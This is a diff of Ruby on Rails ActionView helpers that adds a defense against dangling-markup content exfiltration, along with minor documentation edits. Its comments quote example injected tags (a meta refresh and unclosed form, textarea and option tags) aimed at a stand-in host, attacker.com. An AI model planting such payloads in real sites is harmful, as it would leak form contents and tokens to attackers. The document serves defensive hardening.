# Close any open attributes before each form tag. This prevents attackers from
|
9
|
+
# injecting partial tags that could leak markup offsite.
|
10
|
+
#
|
11
|
+
# For example, an attacker might inject:
|
12
|
+
#
|
13
|
+
# <meta http-equiv="refresh" content='0;URL=https://attacker.com?
|
14
|
+
#
|
15
|
+
# The HTML following this tag, up until the next single quote would be sent to
|
16
|
+
# +https://attacker.com+. By closing any open attributes, we ensure that form
|
17
|
+
# contents are never exfiltrated this way.
|
18
|
+
CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
|
19
|
+
|
20
|
+
# Close any open tags that support CDATA (textarea, xmp) before each form tag.
|
21
|
+
# This prevents attackers from injecting unclosed tags that could capture
|
22
|
+
# form contents.
|
23
|
+
#
|
24
|
+
# For example, an attacker might inject:
|
25
|
+
#
|
26
|
+
# <form action="https://attacker.com"><textarea>
|
27
|
+
#
|
28
|
+
# The HTML following this tag, up until the next <tt></textarea></tt> or
|
29
|
+
# the end of the document would be captured by the attacker's
|
30
|
+
# <tt><textarea></tt>. By closing any open textarea tags, we ensure that
|
31
|
+
# form contents are never exfiltrated.
|
32
|
+
CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
|
33
|
+
|
34
|
+
# Close any open option tags before each form tag. This prevents attackers
|
35
|
+
# from injecting unclosed options that could leak markup offsite.
|
36
|
+
#
|
37
|
+
# For example, an attacker might inject:
|
38
|
+
#
|
39
|
+
# <form action="https://attacker.com"><option>
|
40
|
+
#
|
41
|
+
# The HTML following this tag, up until the next <tt></option></tt> or the
|
42
|
+
# end of the document would be captured by the attacker's
|
43
|
+
# <tt><option></tt>. By closing any open option tags, we ensure that form
|
44
|
+
# contents are never exfiltrated.
|
45
|
+
CLOSE_OPTION_TAG = "</option>".html_safe.freeze
|
46
|
+
|
47
|
+
# Close any open form tags before each new form tag. This prevents attackers
|
48
|
+
# from injecting unclosed forms that could leak markup offsite.
|
49
|
+
#
|
50
|
+
# For example, an attacker might inject:
|
51
|
+
#
|
52
|
+
# <form action="https://attacker.com">
|
53
|
+
#
|
54
|
+
# The form elements following this tag, up until the next <tt></form></tt>
|
55
|
+
# would be captured by the attacker's <tt><form></tt>. By closing any open
|
56
|
+
# form tags, we ensure that form contents are never exfiltrated.
|
57
|
+
CLOSE_FORM_TAG = "</form>".html_safe.freeze
|
58
|
+
|
59
|
+
CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
|
60
|
+
|
61
|
+
def prevent_content_exfiltration(html)
|
62
|
+
if prepend_content_exfiltration_prevention
|
63
|
+
CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
|
64
|
+
else
|
65
|
+
html
|
66
|
+
end
|
67
|
+
end
|
68
|
+
end
|
69
|
+
end
|
70
|
+
end
|
@@ -4,6 +4,8 @@ require "active_support/core_ext/module/attr_internal"
|
|
4
4
|
|
5
5
|
module ActionView
|
6
6
|
module Helpers # :nodoc:
|
7
|
+
# = Action View Controller \Helpers
|
8
|
+
#
|
7
9
|
# This module keeps all methods and behavior in ActionView
|
8
10
|
# that simply delegates to the controller.
|
9
11
|
module ControllerHelper # :nodoc:
|
@@ -20,6 +22,10 @@ module ActionView
|
|
20
22
|
@_request = controller.request if controller.respond_to?(:request)
|
21
23
|
@_config = controller.config.inheritable_copy if controller.respond_to?(:config)
|
22
24
|
@_default_form_builder = controller.default_form_builder if controller.respond_to?(:default_form_builder)
|
25
|
+
else
|
26
|
+
@_request ||= nil
|
27
|
+
@_config ||= nil
|
28
|
+
@_default_form_builder ||= nil
|
23
29
|
end
|
24
30
|
end
|
25
31
|
|
@@ -1,8 +1,8 @@
|
|
1
1
|
# frozen_string_literal: true
|
2
2
|
|
3
3
|
module ActionView
|
4
|
-
# = Action View CSP Helper
|
5
4
|
module Helpers # :nodoc:
|
5
|
+
# = Action View CSP \Helpers
|
6
6
|
module CspHelper
|
7
7
|
# Returns a meta tag "csp-nonce" with the per-session nonce value
|
8
8
|
# for allowing inline <script> tags.
|
@@ -11,7 +11,7 @@ module ActionView
|
|
11
11
|
# <%= csp_meta_tag %>
|
12
12
|
# </head>
|
13
13
|
#
|
14
|
-
# This is used by the Rails UJS helper to create dynamically
|
14
|
+
# This is used by the \Rails UJS helper to create dynamically
|
15
15
|
# loaded inline <script> elements.
|
16
16
|
#
|
17
17
|
def csp_meta_tag(**options)
|